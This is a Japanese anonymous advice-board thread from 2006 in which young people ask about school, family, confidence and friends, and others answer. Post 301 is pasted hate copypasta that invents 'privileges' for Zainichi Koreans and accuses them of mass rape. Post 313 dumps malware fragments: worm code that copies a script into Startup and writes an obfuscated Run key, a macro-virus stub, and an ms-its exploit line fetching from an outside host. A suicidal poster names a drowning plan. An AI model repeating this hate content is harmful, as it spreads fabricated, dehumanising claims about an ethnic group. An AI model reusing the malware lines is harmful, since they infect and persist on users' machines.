大切なものや譲れないもの、守りたいものを見つけてごらん。

299 :マジレスさん:2006/11/09(木) 15:17:23 ID:901RMyjE
>>298
ありきたりの綺麗ごと発言だな。
貴様のような馬鹿を偽善者にもなれない偽善者と言うんだよ。
覚えとけよ・・・

300 :マジレスさん:2006/11/09(木) 15:17:46 ID:zWT3Jnly
今高3なんですが、大学受験を考えていました。
でもいろんなことに疲れ、甘えがでてしまい受験は白紙になりました。
母は、「あの時大学受験するって言ったのに、何で学校休むの!」と
強い口調で訴えてきます。
母の気持ちも分かります。だから余計につらいです。
本当、あの時決意した気持ちを私は無駄にしてしまったんです
今は学校を休んでいます。
心療内科に行きたいと思っても、それは母が許してくれないし
自力でなんとかして気持ちを落ち着けていくしかありません。
どういったことが気持ちを落ち着けることに繋がるのでしょうか?
みなさんの意見を参考にしたいと思っています。

301 :マジレスさん:2006/11/09(木) 15:18:26 ID:Q1NaOU3p
189:11/08(水) 18:44 kB6V1naO
日本に100万人いる在日韓国人(在日朝鮮人)のBIGな特典〜(≧∀≦*)ノ
お前らの周りにも日本人のフリした在日がいっぱい!学校だと1クラスに1〜2人はいるぜ!

「欠陥民族」と科学者に断言されてもこんなに特典あるからええねん!うらやましいやろ!在日韓国人に産まれて良かったわ!
おめーら日本人は在日のために必死こいて働いて税金おさめろw

知らんだろうが、政治界じゃ、偽名で日本人っぽくなってるけど北朝鮮やヤクザとつながってる在日がイッパイ居る!
そいつらが在日が楽に暮らせるようにしてくれる!w
ヤクザも在日ばっかだしお前ら日本人を毎日しばきたおしてるわ!w
在日のほうが日本人より背が高いし(在日は180cm超えが多い)

これからも日本を食いつぶして、北朝鮮と韓国が共同して日本を乗っ取ってやる!
ちょっくら俺ら在日の特典でも見せてやるよw平和ボケのビンボー日本人www


[地方税]  土地を格安で持てる!
[特別区]  居住区の税金いらず! 軽自動車も税金いらず!
[年 金]  年金も払わなくてももらえる!
[都営住宅] ローン滞納しても、差し押さえ延長!(実質差し押さえされない!)
[水 道]  基本料金が無料!!
[下水道]  基本料金が無料!! さらにトイレも無料設置!!
[放 送]  NHK受信料も無料!!
[交 通]  都営の鉄道まで無料!! しかもJR定期券は割引!!
[衛 生]  保険関係の税金もすべて割引!!
[教 育]  小学、中学、高校の学費がタダ!!
[通 名]   免許や学校や就職のための、日本人風の偽名がタダで作れる!(キムヒチョン→安田太郎 とか)
[犯 罪]  凶悪犯罪を犯しても、実名報道されない!裁判では同情されて刑がすこし軽くなる!w
     (レイプ犯、殺人犯は在日だらけw特にレイプ!在日がお前ら日本人のメスどもを車に引きずりこんで犯しまくって廃人にしてるぜ!毎日レイプは起きてるwww)
[生活保護]  家族の人数 × 4万円 + 家賃5万円 を毎月国からプレゼント!!働かなくてOK!!


302 :マジレスさん:2006/11/09(木) 15:37:37 ID:JVTamg66
>>299
正義と愛はどうあっても綺麗事だ、それを偽りで済ますか真へと昇華させるかは人の生き方次第だとは思わないか?それを頭から馬鹿だと切り捨てるのはいかんよ。

303 :マジレスさん:2006/11/09(木) 15:48:41 ID:901RMyjE
>>302
ならその綺麗ごととやらで世の中変えてもらいたいもんだな・・・。


正義なの愛だのどっかの アニヲタ発言だなWWW

304 :マジレスさん:2006/11/09(木) 15:53:07 ID:23dGkFMZ
働きたくない。


305 :マジレスさん:2006/11/09(木) 15:55:07 ID:yTgOcL7B
21歳大学3年
今日うちの研究室に2年が訪問してくるらしい。
はっきり言って俺、室長との関係が微妙だから行く気は無かった。
仲のいい友達も用があって行けないみたいだし。
でもやっぱり3年だから行ったほうがいいかなって思って1時ごろに
室長に「5時に研究室に行けばいいの?」ってメールで聞いてみたんだけど
いまだに返事こない。
これって来るなってこと?


306 :マジレスさん:2006/11/09(木) 16:06:54 ID:JVTamg66
そうやって青臭い物だとして扱いまるで自分はアウトローであるかの様に振る舞う事が格好良いと思う人間が多いのが今の世なんだろう。
だが、たった一人でもそれが恥ずかしい事では無いと気が付けば昨日よりは良い世の中になっていると思わないか?
アニオタだろうとなんだろうと、大事な事がわかっているなら始めから諦めている人間よりはずっと人らしいと思うぞ?
お前だって昔はそんなじゃなかっただろう?
もっと広く世の中を視てみろ。俺はまだまだ捨てたもんじゃないと思うぞ?

307 :マジレスさん:2006/11/09(木) 16:11:43 ID:l0V5XcjF
>>300
具体的な事が書かれていないのでよく分からないのですが、高校3年生の頃
って進路や人間関係などで悩む頃なのだと思うのです。
1人で考えても解決しないと思いますから、色々な人に相談するといいですよ。
親戚の人、中学の友人、先生、先輩、ネットや電話の相談窓口などに相談してみては
どうですか?
その過程で自分の考えをまとめていけばいいと思います。
心療内科は薬が必要だと思うようなら行ってみればいいと思いますよ。
お母さんが反対なら近所の内科を受診して紹介してもらうのもいいかもしれません。
専門家のいうことならお母さんも聞いてくれるかもしれません。


308 :マジレスさん:2006/11/09(木) 16:23:32 ID:dsWEz9aZ
>>290

7〜8年前に何があったのさ。
きっかけがあったんでしょ?

309 :マジレスさん:2006/11/09(木) 16:24:12 ID:WN/r6xsA
>>305
メールは手紙みたいなものだから相手が見てるとは
限らないよ電話したら?

310 :305:2006/11/09(木) 16:31:55 ID:yTgOcL7B
>>309
電話か。かけづらいな・・・。


311 :マジレスさん:2006/11/09(木) 16:39:33 ID:WN/r6xsA
>>310そちらの事情が判らないから何ともいえないけど
あなたも、もう21歳なんだから自分で決めなさい。

312 :マジレスさん:2006/11/09(木) 16:53:00 ID:zWT3Jnly
>>307
すみません、具体的に書いたと思い込んでいました。
>>307さんのアドバイスを取り入れてみようと思います。
安心しました。
レスありがとうございました。

313 :マジレスさん:2006/11/09(木) 17:13:45 ID:oooLpN9H
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

314 :289:2006/11/09(木) 17:51:33 ID:UMF183bj
私が引っ越しても家族が脅されると思うので。。放火や親を殴るなど言われます。実際昔放火した事もあるみたぃです。。

315 :マジレスさん:2006/11/09(木) 17:58:55 ID:TIn9nZAO
>>314
保障額の大きい火災保険に入っておこう。
知り合いの家は火災保険のおかげで、それまで住んでいた家より立派な家に
建て直しできたとうそぶいていた。

ひとまず警察に相談しておけば
何かあった時すぐ動いてもらえる。
(何もなければ事前には動いてもらえないけど)
殴られたり、ものを壊されたりしたら
医者に行って診断書をもらう、証拠写真を残すなどしておこう。


316 :マジレスさん:2006/11/09(木) 18:07:51 ID:901RMyjE
>>306
俺は清き心の仔猫ちゃんだアウトローじゃないぞ。











ケロロ軍曹DVDみなきゃ

317 :マジレスさん:2006/11/09(木) 18:18:35 ID:pPtlZtzQ
>>271
人を救えるほどの余力がありませんので死にたいと思っています。
死ぬだけなら一度苦しめばいいだけですし。

>>272
俺が生きていて誰かが助かったことなんて一度もありません。
むしろ俺が生きているだけでみんな迷惑してるはずです。

>>273
今思っている死に方は川でおぼれようかと思います。
そうすれば誰にも迷惑はかかりませんし、
見つからなければ魚のえさになるだけですからね。

318 :マジレスさん:2006/11/09(木) 18:21:26 ID:pHsKwJRP
>>300
心の迷路に迷い込んじゃったな。
今ここで 大学へ行けとか医者に行けとか言っても駄目でしょうね。

本当は問題をあなた自身が整理しなければいけないのだから
あなたが思っているように落ち着くことでしょう。

体は普通に元気ですか?
私のおすすめはあなたが一人で低い山に登ってみることなんだけどな。
山に登るときは誰とも話をしなくても良いし
マナーなんてすれ違うときに眼なんて見ずに小さく下に会釈するだけ。
ところがこの登山が心の健康と自信の回復に絶大な効果がありますよ。
どうせ学校に行っていないんだから、時間はあるでしょう。
800Mぐらいのハイキングコースに行ってごらん。
自信がつくから。

319 :マジレスさん:2006/11/09(木) 18:21:26 ID:73a22Mxy
>>298
ありがとうございます
譲れないものはあるのでまずはファッションをちゃんとしようと思います。
俺も電車で人と向かい合うのが苦痛です

320 :マジレスさん:2006/11/09(木) 18:32:13 ID:3MZEs2l1
>>317は何のためにここに来たのかな?
ざっとみるだけでも>>317の事心配して、色々な人がアドバイスくれているよね?
それを全部遠回り的な言い方とは言え否定しまくるのってどうなんだろう?
確かにここのアドバイスには強制力なんてないよ、あくまで「善意」なのだから。

でもその善意を押し売りする気持ちはないけれど、その善意を向けてくれている人達に対してまで
背中を向けてしまうのはいかがなものなんだろう?
本当に迷惑を誰にもかけたくないのであれば、
ひとつひとつのアドバイスの意味を良く考えて、ひとつづつでいいから実践していく事じゃないのかな?


321 :マジレスさん:2006/11/09(木) 18:44:02 ID:pPtlZtzQ
>>320
多分誰かに自分を認められて欲しいと思ったから
来たのかもしれません。
でも、リアルでは誰も俺を認めてくれません。

アドバイスを受けたのはうれしいのですが、
それを実践できるほどのモチベーションがありません。
我侭だと言われるかもしれませんが、
本当に何も手につきません。死ぬことで頭が一杯です。

322 :マジレスさん:2006/11/09(木) 18:49:30 ID:TMtOU8I6
>>321
なんか自分の好きなものあげて
少し楽になったらやってみ
下手糞でもかまわないから

323 :マジレスさん:2006/11/09(木) 18:52:40 ID:TIn9nZAO
>>321
誰も自分を認めてくれない、とありますが
逆に誰かを認めてあげていますか?
自分の身の回りの人たちの長所なんかを見つけて
「ああ、こいつはこういうとこがスゲーな」
「こいつのこういうトコがいいな」って
認めてリスペクトできる人をどんどん増やしてみてください。
だまされたと思って試してみて。
そのうちふっと、自分を取り巻く環境が変わっていることに気がつくから。

324 :マジレスさん:2006/11/09(木) 18:55:54 ID:pPtlZtzQ
>>322
趣味はありますが。夜中の公園でやってたら
カップルに笑われました。それ以来自信をなくしました。

>>323
今の職場の人はスキルが高い人ばかりで
全員尊敬しまくっている毎日です。
そんななか自分は本当に役に立っているのかと思ってしまっています。

325 :マジレスさん:2006/11/09(木) 18:57:54 ID:yE9tyiMR
>>300
我が子の悩みすら共有できない親なのか?
自殺する子供連中が多いわけだな。。。
今は将来の職業だの進路だのこだわらずに…生き抜くってことを考えてみろよ。
>>318さんが言ってるように自然の中に身を置くことがいいと思うぞ。
晴れた日の夜に防寒装備して野ずわりで一晩過ごすのもいいな。
風や星や夜明けが生きてることの面白さを教えてくれる。
きっとお前だけの生命インスピレーションがあるはずだ。



326 :マジレスさん:2006/11/09(木) 19:00:10 ID:maHnXypw
相談です。
自分は大学生(♂)なんですが、高校生まで友達ができず、いわるゆ大人しいボッチ
でした。しかし、今年大学に入学して今、二人メールのアドレスを交換した
友人がいます。自分にとっては進歩なんですが、片方の子が気のいい子なんですが、
何かにつけて面倒臭がりで、荒っぽいんです。例えば、急にケータイで
呼び出したかと思えば宿題や課題のレポートを見せてくれと頼み、こちらの
気が弱いのをいいことにコピーとらせてくれだの、やり方を説明してくれ
だのとにかく僕のことを利用してくるんです。この前は勝手にレポートの
内容を盗まれした。で、当の本人は平然とありがとうと言います。どうしても
自分が上手に利用されているように感じて情けないです。
今後の方針など、何か建設的なアドバイスお願いします。

327 :マジレスさん:2006/11/09(木) 19:04:46 ID:TIn9nZAO
>>324
スキルという一面のみの価値観ってのがよくないんじゃないかと。
もっと多面的に周囲をよく観察してみて。
ちょっと思考が狭くなってしまいすぎている印象を受けます。
仕事以外での人間関係を広げてみては?

328 :マジレスさん:2006/11/09(木) 19:09:08 ID:oxTJ7IQo
学歴が欲しくて大学行こうと思ってるんですか、やっぱダメでしょうか……?

329 :マジレスさん:2006/11/09(木) 19:14:39 ID:TIn9nZAO
>>328
別に悪くないんじゃないの?
がんばってね!

330 :マジレスさん:2006/11/09(木) 19:20:05 ID:pPtlZtzQ
>>327
その人の人柄までも見てるつもりなんですが・・・
たとえばリーダーは仕事一筋かと思ったら
デスクに家族写真を置いてて家族思いなんだなっておもったり
プロジェクトでは上司のAさんは話と人をまとめるのが上手だなって思っています。

もしかしてもっと確信を付いていかないとだめなんでしょうか?

331 :マジレスさん:2006/11/09(木) 19:24:33 ID:rv5p4VdU
>>326
君は友人が少ないから、その友達を通じて友達との付き合い方を学び取ってください。
利用されっ放しでは、損した気持ちですから、こちらも相手を利用する方法を考えましょう。

>>328
学歴を取得するだけでは有意義ではないから、学力も身につけたほうがあなたのためです。

332 :マジレスさん:2006/11/09(木) 19:34:06 ID:vOgooJDQ
332

333 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 19:38:24 ID:c5COso0/
>>326
利用されているよ…が、人に利用されるぐらいの能力がある自分をほめていい。
人から利用もされない人々が、どれだけ哀しいことか…
そして、今まで学べなかったことを、その人から学べ。

人を拒絶し、戦うこと、そして「我は独りである」という矜持と
人を受容し、許すこと、そして「自分も人もない」という思いとを。

殴り合いして「殺してやる」と思った相手に対して、その人の喜怒哀楽を自分のことと同じように感じ「この人がいてくれてよかった」と思う感情が出てくるようになれば
世界は 美しく 気楽で 広くなるよ。 

334 :マジレスさん:2006/11/09(木) 19:47:22 ID:ZitOs9jd
学校で3泊4日の研修にいくのですが、嫌いな人と同じ部屋になってしまいました。
どういう風に4日間過ごせばいいのか悩んでいます みなさんならそういう場合どう過ごすか教えていただけますか?

335 :マジレスさん:2006/11/09(木) 19:47:56 ID:ZitOs9jd
年齢を書き忘れました
17歳の男です

336 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 19:55:09 ID:c5COso0/
>>324
人に笑われたら
「やったー!笑いが取れた!しかも一瞬でも人を幸せにしたぜ!これからも精進して笑われよう!」
ではないかと。
34年間、あっちこっちで笑われた(先の日曜日も、10代後半〜20代前半の女の子グループに観光地で笑われたなあ)今
人が自分のことを笑うと、自分も愉快になる。たゆまぬ「精進w」ですな。

それと、単純に入水自殺しても魚に食われる前に、カニ・エビの甲殻類がまず目玉を食べ、そのあと腐敗した体内ガスで風船みたいに膨れて水面に悪臭漂わせて漂いすぐ発見される。
近所の人や消防救急隊員、警察官に多大な迷惑をかけるので、まあやめてくれと一釣り人からのお願い。




337 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 19:56:20 ID:c5COso0/
>>334
普通にすごせばよいかと。

338 :マジレスさん:2006/11/09(木) 20:03:49 ID:7rHh04Z/
レス遅れました。>>116です。
返事くれてありがとうございます。
でも、書かなかったのですが、私は「学校」も怖いのです。
けど、学校行って、勉強できるように努力します。


339 :マジレスさん:2006/11/09(木) 20:06:53 ID:5Bm9SniP
>>336
嘲笑という言葉を知らんのか

340 :マジレスさん:2006/11/09(木) 20:09:47 ID:GewuTscr
>>317
>誰かが助かったことなんて一度無いとか
>俺が生きているだけでみんな迷惑してる

これは憶測だろうから、ただの思い込みじゃないのかな
命助けるとか、すっごいピンチを救う事が、助ける事じゃないんだよ

笑顔で挨拶をするとか、自分が助けてもらったら有り難うと言うとか
意外と些細な事で人の心は救われるものだよ
他人の評価を気にするより、自分が自分に誇れる行動をしたらどうかな
誠意や向上心って言うのは、見てる人にはちゃんと伝わるものだよ

でも、疲れた時はとりあえず頭空っぽにして遊ぶと良いと思うよ
人気の無いトコとかカラオケBOXで、大声で叫ぶのも意外とスッキリするかも

341 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 20:12:56 ID:c5COso0/
>>338
学校は無理していかなくてもいいよ。

…まあ、私は小学生の頃いじめられても行ったけど。担任にも嫌われ散々だったな。

まあ、そのまえにいじめっ子だったので小学生ながら「因果応報」とあきらめていたのと
家に引きこもったら、親に殺されかねない(実際、あの頃のうちの両親はやりかねなかったな)と思っていたのとでね。
いじめられ担任に嫌われてれている方が、親に殺されるよりもましだからねw

342 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 20:14:16 ID:c5COso0/
>>339
20代後半までは、記憶に残っていたなあ

343 :マジレスさん:2006/11/09(木) 20:15:48 ID:VNnNvbWY
18歳男です
今年受験なんですが、家が借金を抱えてることを知りました。
奨学金もあるので大学にいけることはいけるんですが、四年間家族に迷惑をかけることになってしまいます。
元々大学に行こうと思っていたのも、何か夢があったからというわけでもなく、ただ就職で有利になるので何となく行こうかなと思ってた程度でした。
大学に行くべきなのか、今から就職するべきなのかで悩んでいます。親は、何とかするから大学には行った方がいいと言ってくれてますが、母はかなり疲れている様子で、四年間大丈夫かな……と不安です。
また、高卒で今から就職できるかどうかも不安です……
事情が事情なんで相談できる人もいません。何かアドバイスいただけないでしょうか。

344 :マジレスさん:2006/11/09(木) 20:16:03 ID:qR6q26Kz
現在高二の女です。
自分に自信がありません。
自信をつける方法を教えてください。
自分に自信がない上、物事を考えすぎるため、色々な事がうまく進んでくれません。


345 :浩二 ◆9nSiqWjPc6 :2006/11/09(木) 20:17:27 ID:HQYPxO42
>>344
俺も教えて欲しいな

346 :マジレスさん:2006/11/09(木) 20:17:35 ID:ElXqG71Q
>>302
>>299はどっかの線香といっしょで偽善と言う言葉を覚えたて
で使ってみたかっただけだからスルーしる。

347 :マジレスさん:2006/11/09(木) 20:19:36 ID:xRTu9Lck
>>344
>>345
思いつきで言うんだけれど、人より才でたものをひとつ、ふたつ持てば自信に
繋がるんじゃないか?もちろん努力しなきゃいけないけど。

348 :浩二 ◆9nSiqWjPc6 :2006/11/09(木) 20:21:58 ID:HQYPxO42
>>344
俺的に言うと馬鹿になるときは馬鹿にならなきゃいけないかと

349 :マジレスさん:2006/11/09(木) 20:22:05 ID:GewuTscr
>>334
嫌いな理由(※口が悪いとか自分勝手とかは、自分がお手本になれば良い)にもよるけど
普段と違った環境だと、雰囲気や話題の振り方で逆に親密にもなり易いよ
あえて言うなら、マイペースに明るく行けって感じでしょうか?

350 :浩二 ◆9nSiqWjPc6 :2006/11/09(木) 20:23:12 ID:HQYPxO42
>>347
いくつか持ってるが、本当に自分のやりたいことではないので自信には繋がらない

351 :344:2006/11/09(木) 20:25:47 ID:qR6q26Kz
>>347
つまりは自分の好きなことを磨くみたいな感じですよね?
でも、私には好きなことないんですよね。
もし努力をして、何かが人よりうまくなったとしても、
上には上がいるもので、「こんなものは上手いとは言えない。」と、思ってしまいます。
他人と比べてしまうんですよね。

352 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 20:25:51 ID:c5COso0/
>>343
どちらを選んだ方が、自分が後悔するか考えてみる。

ご両親は、自分のことで子供に苦労させたくないだろうなあ…
しかし、大学は後からでも行ける。
というか、一度就職してから行った方が絶対によい。
私が独裁者になったら、高校進学の条件として1年以上の就労経験・大学進学なら2年という法律をつくる。
実際、世の中にある「免許」の類は、かなり多くが受験条件に「就労期間」を設けている。
ドイツなんかは教育機関も卒業条件に、その手の「就労期間」条件を設けている。

働いたら、自分にとって必要な「勉強」が、身をもってわかるからね。

353 :マジレスさん:2006/11/09(木) 20:29:04 ID:GewuTscr
>>344 好きなことをひたすら追求する…とか

学生時代ってのは、自信満々な方が珍しい気もするけどね
自信有りそうに見えても、意外と不安抱えてる人も多いはず
信頼出来る相手に不安を口にする事で、共感や安心を得てみるのも良いかと
向上心を失わなければ、少しずつ自信は付いてくと思うよ

354 :マジレスさん:2006/11/09(木) 20:29:55 ID:pPtlZtzQ
>>340
>誠意や向上心って言うのは、見てる人にはちゃんと伝わるものだよ
こっちが真剣にやってるのに笑われたんですよ?
俺の誠意とかやる気なんて誰にも伝わりませんよ。
それに、もし伝わっていれば今頃彼女の一人や二人ぐらい出来てるはずなのに
全然出来てないですしね。

今は疲れすぎて大声を出せる気力すらないですけどね。
風邪気味なので今日は残業をしませんでした。

355 :354:2006/11/09(木) 20:33:06 ID:GewuTscr
>>351あ、ゴメン被った…

比べるのは悪くないけど、上手いか下手かは周りが判断する事だよ
要は自分が満足出来てるかどうかで、満足出来るまで頑張るのが努力と向上心
視野を広げて色んな事を体験すれば、好みも分かってくるかと

356 :344:2006/11/09(木) 20:34:49 ID:qR6q26Kz
>>353
なんというか…私には学生達が一般的に
持っているくらいの自信すら持っていないんですよね。
友達に言っても「考えすぎだよ。」「もっと自信持ちな。」と言われます。

>向上心を失わなければ、少しずつ自信は付いてくと思うよ
例えば、可愛くなろうと努力をし、友達に「可愛くなった。」とか言われたりしても、
周りにはもっと可愛い子いるし、顔がいいからって別に…。
と、マイナスに考えてしまいます。

357 :マジレスさん:2006/11/09(木) 20:35:37 ID:4RVHOBP8
>>344
何か得意なことがあればとことん極めてみる。
何か一つ目標を決めてやり遂げてみる(達成感があれば小さい目標でもOK)。
オシャレしてみる。
一日一善を実行してみる。
ポジティブに考える。


自信がない、物事を考え過ぎるっていうのは、
言い方を変えれば慎重で思慮深くて良いのでは?
常に自信満々で自意識過剰になるよりはいいかもしれない。

358 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 20:36:34 ID:c5COso0/
>>344
本気で「あきらめる」 と自信が出てくるよ。
例えば
「俺はアホだ。どうにもならん」と本気であきらめると、人が何を言おうと
「お前らがなにをし、どう思おうと俺のアホさは変わらない。だれにも、神にすら不可能。これは世界の真理」

堂々と、自分のアホさかげんを世間に晒すことが出来る。
だって、どうしようもないんだもん。

「自信がない」といっている人は、本気で「自分の可能性」をあきらめたことがあるのかなあ?
いくらかでも「自分はできるかも、なれるかもしれない」という欲や希望があるうちは、不安や絶望に襲われるのは、仕方がない。
なぜなら不安や絶望は 自己の成功欲求の裏返しだから。 

359 :マジレスさん:2006/11/09(木) 20:37:03 ID:4dWyuNI9
>>344
>私には好きなことないんですよね
いつの間にか身についたあきらめ癖の結果でしょうね
それは自分の弱気に負けたということ
自分に対して勝ち癖をつけるしなないでしょうね
でも物事をする上で自信なんて必要ないもかもしれない
今はただやりたいことを、やるべきことをやるだけです

360 :マジレスさん:2006/11/09(木) 20:38:51 ID:qyvNRwqJ
>>324

人に対してのコンプレックスが辛い理由なのでしょうかね?
よろしければ、少しでも死にたいと思うに至った経緯を支障ない程度で
話していただけませんかね?

361 :355:2006/11/09(木) 20:38:53 ID:GewuTscr
うわアンカー間違えた、ごめんなさい!
>>355>>353で、>>351宛です

>>354
突然彼女云々の話になるのが訳が分からないけど
風邪気味なら温かくして寝て下さいね。喉風邪流行ってるみたいだから

362 :マジレスさん:2006/11/09(木) 20:40:01 ID:VNnNvbWY
>>352レスありがとうございます

どちらに行っても後悔しそうで……

今就職すれば、今はお金が入るかもしれませんが、将来的には大卒者に抜かれてしまうだろうし…… それに高卒で今から就職できるかどうか。。。

大学に行ったら行ったで、四年間家の経済状況を考えながら行くのは、罪悪感を覚えそうで……
当然必死でバイトをすることになって、結局何をしに大学に行っているかわからない状況になりそうです

363 :344:2006/11/09(木) 20:42:19 ID:qR6q26Kz
>>355
>比べるのは悪くないけど、
そうでしょうか?
他人と比べても何もならないと思います。ってわかってても、私は比べちゃうんですけどね…。
>上手いか下手かは周りが判断する事だよ
たしかにそうかもしれませんが、ある程度に「自分は上手い」と自信を持つことは大事だと思います。

自信って、ただの自己満かもしれませんね。
色々体験とかしているんですけど、なかなか興味の湧くものがなく…。

364 :マジレスさん:2006/11/09(木) 20:45:07 ID:j+3YLIcg
母親がむかつきます。よく母親に給料が入ったら婆ちゃんや親戚のおじ
さん達に何かプレゼントをしてやれと言われていました。小さい頃から
ずっとお世話になってきたので、何かお礼をしたいと本気で思っています。
具体的に何をプレゼントしたらいいのかよくわからないので、食事にでも
誘おうと考えていました。先月給料が入ったのですが、こういうのは初めて
なのでなかなか予定や店が決まらずに今に至る訳ですが。んで母親に何時に
なったらプレゼントをあげるんだ、普通は給料が入ったらすぐにやるもんだ
と怒られてしまいました。それは理解できます。上の理由を言おうとしたら、
なんで口答えするんだ、親に逆らうな、なんだその顔は、常識もわからない
のか、等々を言われて段々機嫌が悪くなっていきました。あまりにも言い方が
不愉快だったので文句を言ったら、逆切れと受けとられ、こちらから何を言っ
ても逆切れするなとしか言われなくなりました。

純粋に感謝の気持ちを込めてプレゼントする気が失せてきました。こんな
気持ちのプレゼントなんか出したくないと思っています。俺はこれから
どうすれば良いのでしょうか。

365 :マジレスさん:2006/11/09(木) 20:45:22 ID:4RVHOBP8
>>344
自信って自分を信じるって書くんだよ。
まず、自分を好きになろうよ。
自分は他人の評価で決まるものじゃない。
貴方という人は唯一無二なんだから。
一番になれば自信になるわけじゃない。
何かをやり遂げて、やり遂げた自分を良くやったって認めて初めて自信が生まれるんじゃないかな?

366 :マジレスさん:2006/11/09(木) 20:47:06 ID:10aZZ+t1
自分高1女です。
高校入ってから新しく出来た友達Sについてです。
そのSは「さっきNがあんたの悪口ようたで、内容は○○で」
や「昨日の帰りYが死ねってようたで」
と、やたら私に言って来ます。(Sは悪気なしで)
メールでも言ってきます。昨日も言葉とメールで有りました。

S「今日嫌なことあったんでー(*´Д`)=з」
私「どしたん??」
S「お前の事だよッ!!」
私「もう内容は言わなくて良いから。」
S「そうなんヾ(●≧▽≦*)ノぢゃぁ聞きたくなったらいつでも言ってNE☆」

と言ってきました。このSは悪口を教えたことに私から「ありがとう」と
いう言葉が欲しいんでしょうか?
どうしたらいいですか?聞き流す方法を教えて下さい…


367 :344:2006/11/09(木) 20:49:58 ID:qR6q26Kz

みなさんレスありがとうございます。
>>357
得意なことはありません。好きなこともありません。
小さい目標を決め、それを達成したとしてもあまり自分の自信には影響ありませんでした。
お洒落は…街中歩いていて、雑誌の一部に載せる写真とらせてもらえないかと言われたことが
あるので、一般的なレベルはこなしていると思います。
ポジティブ…これができません。無意識に考えすぎ、マイナスに考えてしまいます。

言い方を変えればそうかもしれませんが、また違う言い方をしてみれば
自信がないから何も手をだせない。すぐに身を引いてしまうんですよね…。

>>358
諦める…ですか。
でも今の私には「自信をつける」以外に、自分の欲求が浮かびません。
自分の可能性を広げたいからこそ、自信をつけたいんですよね。
>「自分はできるかも、なれるかもしれない」 というより、
「自分にもできたい、なりたい」という感じです。

368 :マジレスさん:2006/11/09(木) 20:51:23 ID:oFVgFP45
度々すみません。昨夜、彼氏が死んでるかもと取り乱していた者です。
やはり携帯は鳴るんですが出なくて、たまらず自宅に行ったら
一人暮しなんですが家には誰も居なくて車もありませんでした。
死んでるかもと思ってるのには理由があり一番最後の電話は具合が悪くて病院に行ってきたと言ってたからです。
最近すれ違って1ヶ月会えてなく、もし彼がこのまま死んでたら私は悔やんでも悔やめなくて、
彼の友人や身内の方は知らないので死んじゃってても私には連絡がこなくて
どーすればいいのかわからなくて
文章がちぐはぐですみません。取り乱しすぎですね。どーしよう。
興信所にお願いすれば所在ぐらいはわかるかも。

369 :344:2006/11/09(木) 20:53:25 ID:qR6q26Kz
>>359
あきらめ癖というのは「自分には無理だろうな」というのからついてきませんか?
勝ち癖も、自分に自信がついてからのような気がします…。
自信がなければ何事にも挑戦できないと思います。
今自分がやりたいこと、それは「自信をつける」です。


370 :344:2006/11/09(木) 20:55:00 ID:qR6q26Kz
>>348
すいません、見逃していました。
>馬鹿になるときは馬鹿にならなきゃいけないかと
どういうことですか?

371 :浩二 ◆9nSiqWjPc6 :2006/11/09(木) 20:55:10 ID:HQYPxO42
>>358
高校二年生に言うことじゃないな

372 :355:2006/11/09(木) 20:55:24 ID:GewuTscr
>>363
比較は自分の実力を正しく認識するのには必要な要素だよ
ただ、趣味や好きな事って言うのは、他人の評価とは別物だからね

例えばテストで総合的に好成績を収めたとしても
自分の得意教科で満足出来なかったら、寂しいし悔いが残ると思うんだけど

自信が自己満足ってのは、あながち間違いではないと思うよ
どんなに周りが良い評価を出しても、それを素直に受け入れる姿勢が無ければ効果ないし
あまりに自己評価が低いと、褒めた方も信用が無いのかとがっかりすると思う

373 :ダークオサーン ◆CAgEU2NTKA :2006/11/09(木) 20:57:52 ID:c5COso0/
>>358 くだらない追伸

もちろん、普通の「希望を失わず努力してその結果、自信がつく」方法もOKです。
ていうか、若い人にはそれがいいに決まっている。肉体の力が最も横溢しているときに、私のいうような「枯れる」方法は、生理的により不自然かつ人為的な方法だから。
私がしばしば提案する方法は、「正面から・日の当る」方法ではなく、「裏から・日影をゆく」方法だから、

この板の多くをしめる、若い人々には反発されるだろうなあ(実際、そうだし)
しかし、自分の「限界」をハッキリ決定してしまうと、自分の「可能性」も見えてきます。
若いときにありがちな「なんでも頑張ろう!」→失敗→落ち込み→「なんにもできない…」
の苦しいパターンに、はまらなくなります。
自分に出来ることと出来ないことがわかってくる(決めてゆく)と、夢や希望なくして努力できるし、絶望や不安なくして努力「しない」こともできる。

紙に円を描くには直接円を描く方法と、紙の角を黒く塗りつぶしていって円を浮かび上がらせる方法がある、と。
みんな、ふつうは直接円を描こうとするけどね。


374 :マジレスさん:2006/11/09(木) 21:02:29 ID:pPtlZtzQ
>>361
もし、本気というのが相手に伝わるのであれば
昔告白した好きな人を彼女に出来ていたんだろうなって思っていたからです。
いまだに彼女いない歴=年齢ですし。

このまま風邪が悪化して喉頭癌か肺がんになって死なないかなって
考えてしまってますがね。

375 :344:2006/11/09(木) 21:03:43 ID:qR6q26Kz
>>365
友達にも、「もっと自分を好きになれ、ある程度のナルシストになれ」と言われたことが
あるのを思い出しました…。
